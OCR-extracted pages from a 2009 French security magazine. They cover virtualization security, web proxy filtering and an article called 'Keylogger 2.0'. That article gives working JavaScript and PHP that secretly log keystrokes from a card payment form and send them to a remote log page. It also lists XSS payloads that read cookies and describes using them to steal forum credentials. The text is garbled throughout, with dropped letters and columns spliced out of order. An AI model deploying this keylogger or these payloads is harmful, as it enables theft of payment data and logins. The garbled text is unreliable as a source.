libres, la Recherche et Dveloppement d'IBM a ralis sHype, un patch pour xen apportant l'hyperviseur un nouveau modle de scurit, le modle MAC (Mandatory Access Control), modle rpandu dans l'univers militaire. A l'aide de ce nouveau modle, la solution Xen est cense obtenir la certification CC EAL4.

Si certaines de ces scurits peuvent tre mises en place au niveau hardware comme c'est le cas avec l'architecture Power5 d'IBM, l'impact sur les performances sera d'autant rduit.

Des rflexes acqurir


La mise en place de zones ddies dans le rseau pour les machines virtuelles est une ncessit. En effet, les moyens de protections sont diffrents, les attaques diffrentes, il faut donc viter au possible de mlanger Scuriser les protocoles utiliss pour la migration des VM entre machines htes : viter que des attaques comme l'usurpation de l'identit d'une machine hte permette un attaquant de rcuprer le contenu des machines virtuelles, se prmunir contre les DoS, instaurer une identification des htes effectuant la migration. Avoir un rseau physiquement part du LAN pour la migration des VM, sur lequel le man in the middle n'est plus possible. Cela demande un investissement financier car il faut doubler le nombre de prises rseau si on utilise un rseau de type Ethernet ou investir dans de nouvelles cartes si on choisit par exemple du fibre channel, sans compter les quipements passifs ou actifs. Julien Reveret

Recommandations et mthodes de scurisation

Bibliographie
[CSE-TR-539-07] J. Oberheide., E. Cooke, and F. Jahanian, Empirical exploitation of live virtual machine migration, [VMM-usenix00-0611] J. Scott Robin and Cynthia E. Irvine, Analysis of the Intel's pentium ability to support a secure virtual machine monitor, [IBM-VIRT] E. Stahl, Virtualization security and integrity in the IBM eserver POWER5 Environment, [CVE-2008-0923] Core Security, Path Traversal vulnerability in VMware's shared folders implementation, [VIRT_INSEC] Enno Rey, Virtualization insecurity, [virtsec] T. Ormandy, An empirical study into the security exposure of hosts of hostile virtualized environments. [Crashme] T. Ormandy, Random input testing software.

Dployer une solution base sur des machines virtuelles pour de lhbergement, une plateforme de dveloppement ou autre ne doit pas tre pris la lgre. De nouvelles menaces psent sur ces technologies et il est ncessaire de connatre des contre mesures pour se protger. Voici une liste non exhaustive de moyen de protection existant sur le march.

Les outils de dtection et de protection


On peut noter que chaque solution, que ce soit LPAR pour IBM, VMWare ou les solutions libres comme Xen, disposent de protections par dfaut ou peuvent tre ajoutes la faon de plugins. Pour dtecter les failles possibles dans une solution de virtualisation et y remdier nous avons dj mentionn des ouils comme iofuzzer, crashme, qui permettent de tester la rsistance d'une machine virtuelle via des attaques par fuzzing. Il y a aussi les outils qui dtectent

L'auteur travaille pour le cabinet de conseil en scurit ITrust; il est amen pour cela travailler sur des projets de scurit pour de grands comptes ou faire des audits intrusifs. Il utilise depuis plus de dix ans les logiciels libres et particulirement leur application dans le domaine de la scurit. 3/2009 HAKIN9 53

TECHNIQUE
TONY FACHAUX

Scuriser la navigation
Internet des utilisateurs
Cet article prsente les moyens techniques mettre en uvre pour protger les utilisateurs des menaces du Web. Cette scurisation passe par la mise en place de proxy web afin de filtrer le trafic web par diffrentes techniques; comme la rputation des URL ou encore le dchiffrement SSL.

Degr de difficult

ujourd'hui, le web regorge de menaces de plus en plus varies. Le virus n'est plus la seule menace craindre. Une multitude de menaces, dont l'utilisateur lambda ne connat mme pas l'existence, font leur apparition. Spyware, botnet ou encore ransomware deviennent monnaie courante. Quelles menaces faut-il craindre aujourd'hui, et comment s'en protger ?

Les diffrentes menaces du Web

CET ARTICLE EXPLIQUE...


Quelles sont les menaces du web l'heure actuelle Comment filtrer le trafic web des utilisateurs

CE QU'IL FAUT SAVOIR...


Quelques notions sur le protocole HTTP. Ce qu'est un serveur mandataire ou proxy. 54 HAKIN9 3/2009

Les menaces du web sont de plus en plus nombreuses. On peut tout d'abord parler du phishing qui est une attaque en vogue et trs largement dploye sur la toile. Cette attaque consiste en la cration d'un faux site d'une banque par exemple puis de spammer des milliers d'utilisateurs afin de les forcer se connecter sur notre faux site dans le but de rcuprer des informations bancaires. Le phishing commence laisser place au pharming, une attaque drive du phishing. Cette attaque ne passe plus par un envoi de mail. L'utilisateur est alors redirig vers un faux site bancaire lorsqu'il essaye de se connecter au vrai site de sa banque, une attaque difficile contrecarrer. On rencontre encore et toujours les fameux virus et vers qui svissent sur la toile depuis de nombreuses annes. Les virus se transmettent gnralement l'aide de fichiers alors que les vers se rpandent de faon compltement autonome.

Le spyware ou logiciel espion en franais est apparu peu aprs les virus et les vers. Ce sont de petites applications installes sur les postes de travail qui collectent des informations l'insu de l'utilisateur. Les spywares sont trs souvent utiliss des fins commerciales. Il existe videmment des tas de drivs aux spywares comme le keylogger ou encore le screenlogger qui rcuprent les mots de passe taps par les utilisateurs. On peut aussi rencontrer aujourd'hui le ransonmware. Ce type de menace bloque l'accs certaines informations du poste client (par exemple le blocage d'une partition du disque dur) et rclame une ranon l'utilisateur contre le dblocage. Les chevaux de Troie, quant eux, sont des applications qui s'installent sur les postes afin d'ouvrir des portes drobes. Les rootkits sont redoutables, eux aussi. Ce type de programme malveillant manipule le noyau du systme afin d'en modifier le comportement. Par exemple, afin de camoufler la prsence d'un processus, un rootkit peut modifier la commande ps sur un systme de type Unix afin de ne pas retourner les applications malveillantes en cours d'excution. Certains rootkit sont extrmement puissants et permettent de camoufler des attaques pendant de trs longues priodes. Enfin, les rseaux de zombies sont aujourd'hui trs dploys. Un PC devient zombie ds lors qu'une application malveillante t installe. Ce poste est ensuite contrl par un serveur pirate afin d'excuter des actions malveillantes comme l'envoi, massif, de

LES MENACES DU WEB


SPAM ou encore la ralisation d'un dni de service. notification de rejet est mise si l'analyse a dcel des menaces.

Note sur le filtrage d'URL

Principe de fonctionnement

Afin de se prmunir de toutes ces attaques web, il convient de filtrer le trafic web des utilisateurs. C'est l qu'entre en jeu un serveur mandataire ou proxy. Vous trouverez sur la figure 1, un schma d'architecture type montrant le fonctionnement d'un proxy. Bien souvent, un proxy est install en DMZ (zone dmilitarise) et a pour rle d'intercepter tout le trafic web des utilisateurs afin d'y appliquer des filtres. Ce proxy peut tre install soit en mode transparent, soit en Pour ce qui est du fonctionnement du proxy, les clients mettent d'abord une requte HTTP vers ce dernier. Une rupture protocolaire se produit au niveau du proxy afin d'analyser la requte mise par le client. Cette analyse peut, par exemple, tre du filtrage d'URL. Si cette requte est valide par le proxy, elle est alors envoye au serveur de destination. Dans le cas contraire, une notification de rejet est alors envoye au client, ce dernier en est inform via un message dans son navigateur. Dans le cas o la requte est correctement mise, le proxy reoit alors une rponse et en ralise alors une analyse de scurit (analyse anti-virus par exemple). Puis, la requte est soit relaye au client, soit une

Mise en uvre technique

Diffrents lments techniques sont mettre en uvre pour scuriser les flux web. Il est ici vident qu'il n'est pas ncessaire de tous les mettre en place afin de disposer d'une bonne scurit, mais au plus il y aura d'lments mis en uvre, au plus votre parc machines sera protg des menaces du Web.

Il faut savoir que le filtrage d'URL est interdit dans certains pays. De plus, si vous mettez en place un filtrage d'URL trs restrictif, prparez alors une bonne campagne de gestion du changement afin de ne pas trop perturber les utilisateurs. Ou alors mettez-le en place pendant certaines tranches horaires (par exemple le matin et l'aprs-midi et pas le midi). Mfiez-vous aussi de l'origine de la solution que vous mettez en uvre. En effet, les catgories d'URL ne sont pas les mmes sur une solution amricaine que sur une

Le filtrage d'URL HTTP


Pour filtrer les URL, il existe aujourd'hui deux mthodes : le filtrage par catgories, le filtrage par rputation Web.

Scan. Vous pouvez par exemple vous amusez tester ces URL sur le site de SenderBase ou encore sur le site http:// www.trustedsource.org/ de l'diteur Ironmail (rcemment rachet par McAfee). Google se situe par exemple dans la catgorie ALLOW car bnficiant d'une trs bonne rputation.

Quel proxy utiliser ?

Pour commencer, vous pouvez simplement et gratuitement installer un proxy Open Source de type Squid coupl quelques modules de filtrage comme SquidGuard ou encore de simples ACL; cela permet de garantir un premier niveau de scurit. Il faut tout de mme savoir qu'administrer un Squid se rvle beaucoup plus complexe qu'un produit commercial comme Bluecoat ou encore un proxy Ironport. De plus, les solutions commerciales disposent d'un support efficace et sont beaucoup plus compltes en termes de fonctionnalits de scurit. Mais libre vous de tester toutes ces solutions et de choisir celle qui rpond le mieux vos besoins. Une petite PME s'en sortira trs bien avec un simple Squid tandis qu'un grand compte aura certainement plus besoin de fonctionnalits avances qu'on ne trouve que dans les solutions commerciales. Sachez tout de mme que les solutions commerciales ne sont rien d'autres qu'un Squid amlior.

Le filtrage par catgorie est une premire chose, il permet de filtrer les catgories d'URL risques comme les URL caractre pornographique ou encore les URL de sites pirates (Warez) : une grande majorit de risques se trouvent sur ce type de sites web. Le filtrage par rputation permet quant lui d'autoriser ou non une URL en fonction de sa rputation Web. La rputation d'une URL se matrialise par une note et est autorise ou non en fonction de votre paramtrage. Les notes des URL sont contenus dans une base de donnes. Par exemple, chez Ironport (Cisco), la Senderbase (http://www.senderbase.org/ ) est quotidiennement alimente par des milliers d'utilisateurs afin d'attribuer des notes aux URL. Il faut par exemple savoir qu'une URL utilise par un spyware a une dure de vie trs courte (de l'ordre de quelques jours). Ce type d'URL dispose alors d'une note trs basse sur la toile est a de fortes chances d'tre rejet par votre proxy si celui-ci a correctement t configur. Voici dans le tableau 1, un exemple de configuration sur un proxy Ironport. Une URL comprenant une note entre -10 et -6 sera automatiquement rejete, une URL qui a une note comprise entre -5.9 et +5.9 passera diffrents types de filtrage selon la configuration (anti-virus, anti-spyware, etc.) et une URL qui a une note comprise entre +6 et +10 sera automatiquement accepte sans passer par un quelconque

L'analyse anti-virus et anti-malware


Lorsqu'une URL arrive dans la catgorie SCAN, elle peut alors tre scanne par diffrents moteurs anti-virus ou encore antimalware. A titre d'exemple, vous trouverez dans le tableau 2 les grandes catgories d'lments scanns par un proxy Ironport. Il Tableau 1. Le filtrage HTTP par rputation Web
ACTION BLOCK SCAN ALLOW NOTE -10 -6 -5.9 +5.9 +6 +10

Tableau 2. L'analyse anti-malware


Type de menace Adware Browser Helper Object Commercial System Monitor Dialer Hijacker Phishing URL System Monitor Trojan Downloader Trojan Horse Trojan Phisher Virus Worm Other Malware
3/2009 HAKIN9 55

TECHNIQUE
Listing 1. Un exemple de fichier proxy.pac
function FindProxyForURL(url,host){ if (isPlainHostName (host) || shExpMatch (host, "x.*") || shExpMatch (host, "x.x.*") || shExpMatch (host, "127.0.0.1") || shExpMatch (host, "localhost") || shExpMatch (host, "*.hakin9") || { return "DIRECT"; } else { return "PROXY proxy:3128"; } }

protection maximale, il convient de bloquer les requtes lorsque l'analyse dtecte l'un de ces cas spciaux. Attention toutefois aux faux-positifs.

Le filtrage des objets


Le filtrage des objets est aussi un lment important. Ce type de filtrage se ralise en fonction du type MIME et du Magic Byte des objets. On peut par exemple autoriser les formats de fichiers classiques comme le PDF ou encore les fichiers ZIP, trs utiliss par les utilisateurs. Cependant, il peut tre intressant de bloquer la majorit des autres formats de fichiers comme le streaming, la vido, etc. Ces lments sont d'une part trs consommateurs en bande passante, gnralement inutiles au travail (sauf ventuellement pour une quipe marketing). Sans oublier que les sites hbergeant ce type de fichiers sont potentiellement des sources de menaces.

Le filtrage dURL HTTPS


Un flux HTTPS est un flux chiffr mais il ne garantie en aucun cas que le serveur distant est un serveur sr. D'o l'importance de filtrer les flux SSL grce un mcanisme de dchiffrement SSL. Lors du dchiffrement SSL, le proxy se place entre le serveur distant et le client pour faire office d'autorit de certification et gnrer des certificats auto-signs aux clients en temps rel. Cela s'accompagne de quelques comptences en PKI. Il convient aussi de dployer l'autorit de certification du proxy l'ensemble du parc machines pour viter le message bien connu des internautes leur indiquant que l'autorit de certification n'est pas connue du navigateur. La rputation fait aussi partie intgrante du filtrage HTTPS. Vous trouverez dans le tableau suivant, un exemple de configuration avec un Ironport . De -10 -9, le flux est automatiquement rejet, de -8.9 +5.9 le flux est dcrypt selon le mcanisme de dchiffrement SSL vu prcdemment. De +6 +10, le flux est autoris passer sans dchiffrement et les sites non nots sont dcrypts. Dans ce type de configuration, mfiez-vous car certaines applications web supportent trs mal le dchiffrement SSL. Si vous en rencontrez, il vous faudra alors crer un groupe d'exceptions qui ne devra pas tre dchiffr.

convient videmment d'activer la protection contre ces menaces si vous voulez disposer d'une bonne protection anti-malware. Il est aussi noter que plusieurs solutions du march proposent des scans par le biais de plusieurs moteurs pour maximiser les rsultats. Chez Ironport, il y a un moteur Webroot ainsi qu'un moteur McAfee (les meilleurs du march). Pour gagner en performance, on peut videmment en dsactiver un des deux. Les moteurs anti-malware peuvent parfois faire face certains cas spciaux. A savoir : un fichier chiffr, User Agent suspect, un fichier non-scannable.

Le filtrage par user-agent


Les navigateurs Internet ne sont plus les seules applications solliciter le port 80. Consquences : dautres applications peuvent traverser un proxy pour communiquer avec lextrieur. Ce type de pratique est potentiellement dangereux pour la socit. Vous trouverez dans le tableau 4 (une fois de plus un exemple tir d'une configuration ralisable avec un proxy Ironport), une liste des agents les plus communs relatifs la messagerie instantane et au peer-to-peer qu'il peut tre utile de mettre en place.

A ce niveau, les actions possibles sont binaires : autoriser ou bloquer. Pour une

Les sondes rseaux de niveau 4


La mise en place d'un proxy ne corrige pas le problme des postes clients infects. En effet, aujourd'hui, un ordinateur sur quatre fait partie d'un rseau de botnet, il convient alors de mettre en uvre une solution contre les PC dj infects. Il existe aujourd'hui des sondes rseaux directement incluses aux fonctionnalits des proxy. Elles sont charges d'analyser tout le trafic sortant sur Internet. L'ensemble du trafic est alors intercept et analys par une base de donnes afin de dterminer les flux illgaux. Cela permet alors
Tableau 3. Le filtrage HTTPS par rputation Web
ACTION DROP DECRYPT PASS THROUGHT DECRYPT NOTE -10 -9 -8.9 +5.9 +6 +10 Site non not

Le filtrage du trafic encapsul


Avec la gnralisation des proxy dans les entreprises, des moyens de contournement ont vu le jour . Leur but : faire transiter nimporte quel type de protocole dans un tunnel HTTP ou HTTPS. Sachez qu'il est aujourd'hui possible et fortement recommand de spcifier les formes de protocoles qui sont autoriss transiter via ce type de tunnel afin de limiter le trafic frauduleux. On peut par exemple limiter ce type de trafic aux ports suivants : 443, 8080, 8443, 20, 21 (les ports 20 et 21 uniquement si vous voulez autoriser du trafic FTP), les ports d'une utilisation classique du Web.

Figure 1. Schma d'architecture de proxy


56 HAKIN9 3/2009

LES MENACES DU WEB


Tableau 4. Le filtrage par User Agent
Application MSN Messenger Trillian Windows Messenger Yahoo Messenger Yahoo Messenger Peer to peer BearShare BitTorrent eDonkey Gnutella Kazaa Kazaa Kazaa Morpheus Response headers Response headers Response headers Response headers Response headers Response headers Response headers Response header Server User-Agent User-Agent User-Agent P2P-Agent User-Agent X-KazaaNetwork Server Bearshare BitTorrent e2dk Gnutella, Gnucleus Kazaa, Kazaaclient: KazaClient, Kazaaclient: KazaA Morpheus Lieu d'identification Request headers Request headers Request headers Request headers Request headers En-tte HTTP User-Agent User-Agent User-Agent Host User-Agent Signature MSN Messenger Trillian/ MSMSGS msg.yahoo.com ymsgr

Sur Internet
Le site Web du constructeur Ironport : http://www.ironport.com/fr/ La base de rputation d'Ironport : http://www.senderbase.org/ Liste de User-Agent : http://www.user-agents.org/

Instant Messaging

peut tre complexifi comme bon vous semble, selon vos besoins.

Conclusion

Les menaces du web tant toujours de plus en plus nombreuses et dangereuses, il convient de protger les postes clients, et donc de scuriser le trafic web. Notez tout de mme que le trafic web n'est qu'une partie de la scurit d'un poste client. Le fait de mettre en place une bonne politique de filtrage n'est pas suffisant. Le pare-feu personnel, l'anti-virus ainsi que l'anti-malware sont toujours de rigueur sur le poste client. Tony Fachaux

de bloquer tout le trafic web sortant vers des URL de botnet.

jexclus lutilisation du proxy pour certains noms de domaine. Sinon je fais passer les requtes Web par le proxy. Ce script P U B L

L'auteur travaille en tant qu'ingnieur scurit chez Orange Business Services. Diplm d'un Mastre en Scurit Informatique l'EPITA, il se passionne pour les technologies de scurit de l'information.

Les postes clients


Notez que nous ne parlerons ici que de la configuration des navigateurs Web. Il est vident que cela ne suffit pas protger compltement un poste client, nous ne traitons ici que du trafic web. La configuration ct poste client se passe donc du ct navigateur. Trois possibilits s'offrent nous si nous utilisons le proxy en mode explicite. Si le proxy est configur en mode transparent, aucune configuration client n'est requise. On peut tout d'abord indiquer explicitement le proxy au navigateur web l'aide de son IP. On peut ensuite Web Proxy Autodiscovery Protocol). Ce protocole permet la dtection automatique des paramtres proxy l'aide d'une simple requte vers le nom DNS wpad de votre domaine. Le fichier proxy.pac est un petit script en javascript qui permet de spcifier quand utiliser ou non le proxy. Un outil trs utile lorsqu'on dispose de plusieurs proxy par exemple (redondance). Voici dans le Listing 1 un exemple basique de proxy.pac. Ce script utilise une fonction java FindProxyForURL , lintrieur de laquelle I C I T

3/2009 HAKIN9

57

TECHNIQUE
ANTONIO FANELL

Keylogger 2.0
Degr de difficult

Aujourdhui, on utilise de plus en plus de scripts asynchrones pour amliorer l'exprience utilisateur sur Internet. Cependant, des malwares nouvelle gnration voient le jour pour les exploiter. Dans cet article, vous apprendrez concevoir un keylogger Web 2.0 puis. web.

CET ARTICLE EXPLIQUE...


Comment concevoir un keylogger avec l'objet XMLHttpRequest. Comment effectuer une attaque XSS. Comment faire un cross-domain scripting distance avec un IFRAME.

CE QU'IL FAUT SAVOIR...


Vous devez avoir des connaissances de base sur AJAX et l'objet XMLHttpRequest. Vous devez avoir quelques connaissances en JavaScript, DHTML et PHP.

es connexions Internet haut dbit et l'avnement des technologies Web 2.0 ont rduit la marge entre les applications Web et Desktop. On entre dans une nouvelle re du dveloppement Web avec une approche utilisateur innovante. Cela est positif mais de l'autre ct l'volution constante des malwares ces nouvelles technologies est inquitante. Les utilisateurs sont amens faire de plus en plus attention lorsqu'ils surfent sur le Web. Cependant passer d'un environnement ferm un environnement ouvert peut faire changer de comportement. C'est un peu comme dans la vraie vie. On essaye tous de nous protger contre d'ventuels voleurs avec des barrires, des alarmes... Mais lorsqu'ils ne fonctionnent plus, on ne peut se fier qu' nous-mmes. C'est la mme chose pour les internautes. Les pare-feu et les antivirus sont de bons systmes de dfense pour des attaques externes, mais sur Internet il faut surtout compter sur soi-mme pour viter certains piges. Le problme c'est que sur le Web, la performance et la scurit sont deux paramtres inversement proportionnels. Trop d'obstacles et c'est l'exprience de l'internaute qui en ptit ; l'inverse trop de confiance peut induire un risque en termes de scurit. Autre aspect, dans les environnements de bureau (desktop) des outils automatiss vous aident identifier les virus, mais sur le Web se sont surtout les actions de l'internaute qui prdominent.

Dans cet article, vous apprendrez concevoir un keylogger pour un site web en vous basant sur les technologies Internet. Puis nous verrons comment utiliser notre script pour effectuer une attaque.

L'effet AJAX

En rgle gnrale, on croit ce que l'on voit. C'est la principale cause de l'essor des malwares depuis quelques annes. AJAX et les techniques de programmation Web 2.0 permettent aux utilisateurs d'interagir en changeant des informations caches entre le client et le serveur. En consquent, la page n'est pas ractualise chaque requte. L'inconvnient c'est que ce manque de visibilit, peut amener penser que ces sites sont fiables. Prenons lexemple dun utilisateur inexpriment qui remplirait un formulaire de paiement sur un site d'e-commerce. Avant de valider ses informations, dont celles

Figure 1. Formulaire de paiement avec keylogger cach

58

HAKIN9 3/2009

KEYLOGGER 2.0
de sa carte de crdit, il hsite cliquer sur le bouton Valider afin de revrifier les donnes saisies. En quelques secondes l'utilisateur se fait son avis sur le site puis confirme. L'utilisateur pense que ses informations sont envoyes uniquement lorsquils les valident. Avec le Web 2.0 ce n'est pas le cas. Il n'a pas conscience qu'il y a un transit d'informations entre le client et le serveur. Ajoutons, qu'il n'y a rien sur le site qui en avertisse l'utilisateur. Cela peut conduire de srieux ennuis.

Voyons plus en dtail ces risques avec notamment un formulaire de paiement

Figure 2. Le champ de recherche est vulnrable une attaque XSS et cela affecte galement le champ du nom d'utilisateur et du mot de passe. Listing 1. Voici une simulation de formulaire de paiement d'un site d'e-commerce
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Formulaire de Paiement</title> <script language="JavaScript" type="text/JavaScript" src="keylogger.js"> </script> </head> <body onkeypress="keylog(event)"> <form action="handle_checkout.php" method="post"> <fieldset> <legend>&nbsp;Entrez vos infos CC ci-dessous&nbsp;</legend> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="50" width="20%"><b>Name:</b></td> <td><input type="text" name="name" size="20" maxlength="40" /></ td> </tr> <tr> <td height="50"><b>Numro Carte :</b></td> <td><input type="text" name="cc_number" size="20" maxlength="16" /></td> </tr> <tr> <td height="50"><b>CVC number:</b></td> <td><input type="text" name="cvc_number" size="5" maxlength="3" /></td> </tr> <tr> <td height="50"><b>Validit :</b></td> <td> <input type="text" name="month" size="3" maxlength="2" /> / <input type="text" name="year" size="3" maxlength="2" /> </td> </tr> </table> </fieldset> <p></p> <div align="center"><input type="submit" name="submit" value="Submit" /> </div> </form> </body> </html>

des fins de dmonstration, nous allons simuler un acte de paiement suite aux informations saisies par l'utilisateur (ex : carte bancaire) puis leur envoi sur un serveur mais de manire dtourne. Pour simplifier, nous utiliserons un serveur qui ne possde pas de certificat SSL, les donnes transmises seront uniquement au format texte. Dans un cas rel c'est diffrent, mais pour une dmonstration c'est suffisant. Construisons tout d'abord la page HTML relative au formulaire de paiement (Cf. Listing 1). Dans le cadre de cette dmonstration, nous ne verrons pas les contrles ct serveur. Ce qui nous importe c'est que la page puisse communiquer avec le serveur grce aux appels asynchrones qui seront dclenchs chaque saisie d'informations. Il va donc falloir dans un premier temps crire un gestionnaire d'vnement en JavaScript puis utiliser l'objet XMLHttpRequest pour ractualiser la page dynamiquement. Pour intercepter la touche tape par l'utilisateur on utilise l'vnement onkeypress dans la balise <body> puis on appelle le gestionnaire d'vnement avec keylog(). Voici ce que l'on va crire :
<body onkeypress="keylog(event)">

La fonction keylog() devrait intercepter la touche frappe puis lancer une requte GET vers le serveur. Le Listing 2 montre comment on pourrait l'implmenter. La ligne suivante : var evt = (e) ?
e : event;

3/2009 HAKIN9

59

TECHNIQUE
Listing 2. Voici les fonctions en JavaScript pour le keylogging et les requtes asynchrones au serveur
function keylog(e) { var evt = (e) ? e : event; var keyPressed = ""; keyPressed = String.fromCharCode( evt.charCode ? evt.charCode : evt.keyCode); makeRequest('http://www.example.com/ log.php?keyPressed=' + keyPressed); } function makeRequest(url){ var httpRequest; if (window.XMLHttpRequest) { // Mozilla and other browsers httpRequest = new XMLHttpRequest(); if (httpRequest.overrideMimeType) { httpRequest.overrideMimeType( 'text/xml'); } } else if (window.ActiveXObject) { // IE try { httpRequest = new ActiveXObje ct("Msxml2.XMLHTTP"); } catch (e) { try { httpRequest = new ActiveXObject ("Microsoft.XMLHTTP"); } catch (e) {} } } if (!httpRequest) { //Impossible de crer une //instance XMLHTTP return false; } httpRequest.onreadystatechange = function() { if (httpRequest.readyState == 4) { //There was a problem with the request return false; } }; httpRequest.open('GET', url, true); httpRequest.send(null); }

est requise pour la compatibilit avec les navigateurs. En fait, sous IE l'objet event (vnement) est accd directement via window.event, tandis que sous Firefox et d'autres navigateurs il est directement pass en tant que premier paramtre la fonction callback . La valeur Unicode correspondant la touche presse par l'utilisateur peut tre lue avec la proprit event.charCode si elle est prsente, sinon on peut utiliser la proprit event.keycode . IE supporte la proprit keyCode et pas la proprit charCode . On retrouve les vnements associs au clavier (du navigateur) : onkeypress, onkeyup, et onkeydown . Pour terminer, la fonction fromCharCode() prend les valeurs Unicode spcifies et retourne la chane de caractres :
keyPressed =

log.php?keyPressed=' + keyPressed);

keypressed contient la valeur de la touche tape sur le clavier, et l'appel sera effectu chaque frappe de touche. La fonction makeRequest() du listing 2 est une version modifie de celle utilise sur le site web de Mozilla Developer Center (http://developer.mozilla.org/en/AJAX/ Getting_Started), vous pouvez y trouver de plus amples informations. On enregistre les deux fonctions JavaScript en tant que keylogger.js et on les inclut en en-tte de la page checkout.htm du Listing 1 :
<script

language="JavaScript" src="keylogger.js">

type="text/javascript" </script>

String.fromCharCode( evt.charCode ? evt.charCode : evt.keyCode);

On effectue par la suite, un appel la fonction makeRequest() permettant d'mettre une requte GET de manire asynchrone au serveur conjointement avec l'objet XMLHttpRequest . L'URL obtenue est passe la page log.php qui enregistrera les touches presses :
makeRequest(

'http://www.exemple.com/

Nous allons maintenant construire la page log.php qui enregistrera toutes les touches frappes dans un unique fichier. Il suffit d'crire quelques lignes (Cf. Listing 3). La page reoit le paramtre : querystring, il s'agit de la touche presse de l'input puis on l'ajoute au fichier log. Un fichier log spcifique chaque adresse IP est gnr, par exemple : 192.168.0.1.log. Chaque fichier possde donc une seule ligne de texte avec l'ensemble des valeurs littrales des touches presses par les utilisateurs, except les espaces. Nous omettons dans cet article les contrles du ct

Rechercher une faille XSS

Listing 3. Code PHP pour enregistrer dans un fichier texte le paramtre de linput.
<?php # ajouter un fichier texte le paramtre de linput $ip_address = $_SERVER["REMOTE_ ADDR"]; $file = fopen($ip_address . ".log","a"); fwrite($file,$_GET['keyPressed']); fclose($file); ?>

Le Cross-site Scripting (XSS) est une faille affectant les sites web qui ne contrlent pas les variables de type input (en rgle gnrale : variables GET). Une faille XSS vous permet d'insrer du code (ex : JavaScript) afin de modifier le code source de la page visite. Un utilisateur malveillant peut donc rcuprer des informations sensibles : cookies, voire excuter un script sur le PC de la victime. Cette attaque est trs utilise contre les sites de dbutants, en effet il faut inciter l'utilisateur entrer ses informations sur une certaine page web avec des variables GET modifies en amont. Pour tester cette vulnrabilit sur votre site vous devez injecter du code Javascript dans le champ de recherche input, ou l'ajouter dans les requtes GET aux URL. Voici quelques exemples :
http://www.exemple.com/search.php?str=<script>alert('XSS')</script>,

http://www.exemple.com/search.php?str="><script>alert('XSS')</script><x%20y=", http://www.exemple.com/message.htm?--><script>alert('XSS')</script><!--, http://www.exemple.com/SearchServlet?col=";alert(document.cookie);//, http://www.exemple.com/dosomething.cgi/<script>alert('XSS')</script>, http://www.exemple.com/index.php?in=<body%20OnLoad=alert('XSS')>,

http://www.exemple.com/products/<img%20src=javascript:alert(document.cookie)>, http://www.exemple.com/index.php?in=<table%background="javascript:alert('XSS')">.

60

HAKIN9 3/2009

KEYLOGGER 2.0
"Rechercher une faille XSS"). On utilisera la technique d'injection par IFRAME. Nous assumons connatre au pralable l'e-mail de la victime, nous l'amenons ensuite se connecter sur le forum par une technique de spoofing et de Social Engineering. L'impression cran de la Figure 2 montre un vrai site vulnrable au XSS. Il s'agit en l'occurrence d'un forum italien sur lequel j'ai identifi une vulnrabilit (aujourd'hui corrige) dans le champ de recherche. Le dveloppeur avait oubli de filtrer les caractres spciaux : guillemets et symboles 'suprieur '. En tapant la chane suivante dans le champ de recherche :
" /><script> </script>

AJAX et appels de type cross-domain

AJAX est l'acronyme dAsynchronous JavaScript and XML . C'est une technologie qui permet de crer des sites web interactifs. Le but est d'obtenir des pages web qui rpondent plus rapidement grce aux changes d'information en tche de fond avec le serveur, ainsi il n'y a pas une ractualisation de toute la page. Cette technique permet d'agir sur divers aspects d'une page : interactivit, vitesse et convivialit. AJAX permet dmettre des donnes de manire asynchrone, cela signifie que les donnes transitent en tche de fond vers le serveur. Il ny aucune interfrence avec la page ct client. C'est une combinaison du : HTML (ou XHTML), CSS pour le style, DOM (Document Object Model) pour manipuler avec le JavaScript ou JScript les informations et donc interagir, avec l'objet XMLHttpRequest changer les donnes de manire asynchrone avec le serveur. Certaines plateformes AJAX permettent d'utiliser un objet IFRAME au lieu de lobjet XMLHttpRequest pour l'change de donnes. D'autres implmentations utilisent dynamiquement les balises <script> (JSON), gnralement il s'agit de code XML, mais on peut utiliser aussi bien du HTML prformat, JSON et mme EBML. En rgle gnrale ces fichiers sont gnrs dynamiquement partir de scripts ct serveur.

Le problme avec AJAX est, que pour des raisons de scurit, les appels de type cross-domain ne sont pas permis. Qu'est-ce que a veut dire exactement ? Par exemple, si je suis en train de dvelopper une application web avec le domaine http://www.A.com/, je ne peux faire des appels aux services AJAX sur le domaine http://www.B.com/. videmment, si tous les services sont inclus dans A, le navigateur ne retournera aucune erreur. Cela a t fait pour viter les scripts de type cross-site (XSS), mais c'est galement un frein majeur. De nombreux services web existent, on en trouve sur Google et Yahoo. Cela permettrait d'amliorer la qualit de notre site, mais ces applications sont hberges apparemment sur diffrents domaines. Au fait, j'ai oubli de vous parler d'une petite astuce. On peut utiliser un proxy pour notre domaine en local afin de faire croire au navigateur que l'on effectue un appel scuris. Mais le proxy pointe vers l'extrieur. Sur Internet on trouve de nombreux exemples (surtout en PHP) que l'on peut utiliser conjointement avec AJAX.

alert('XSS Vulnerable!')

la page m'a affich le message d'avertissement : XSS Vulnerable! . Le guillemet de dpart indique la fermeture de la valeur du champ de recherche input, et le symbole /> ferme la balise input ce qui permet de concatner l'avertissement JavaScript. Ce qui tait incroyable, c'est quil I C I T

serveur et la gestion des erreurs, pour des raisons de simplicit. On va ensuite uploader l'ensemble sur le serveur puis effectuer un test. Pour une gestion en temps rel du keylogger, on peut utiliser un outil de dbogage pour analyser tous les appels au serveur. Je vous recommande : Firebug, c'est une extension de Firefox pour diter, dboguer, et grer n'importe quelle page web avec du CSS, HTML, et JavaScript. Vous pouvez la tlcharger sur : https:// addons.mozilla.org / it/firefox/addon/1843. En Figure 1, vous trouverez un exemple de ce qui se produit lorsqu'un un utilisateur remplit le formulaire de paiement.

Simulation d'une attaque

Voyons ci-dessous comment un pirate pourrait utiliser cette technique pour raliser une attaque. Nous allons voir comment il est possible de se connecter un forum avec le nom d'utilisateur et le mot de passe d'un internaute. Il s'agit toujours de la faille XSS (Cf. rubrique :
3/2009 HAKIN9 61

TECHNIQUE
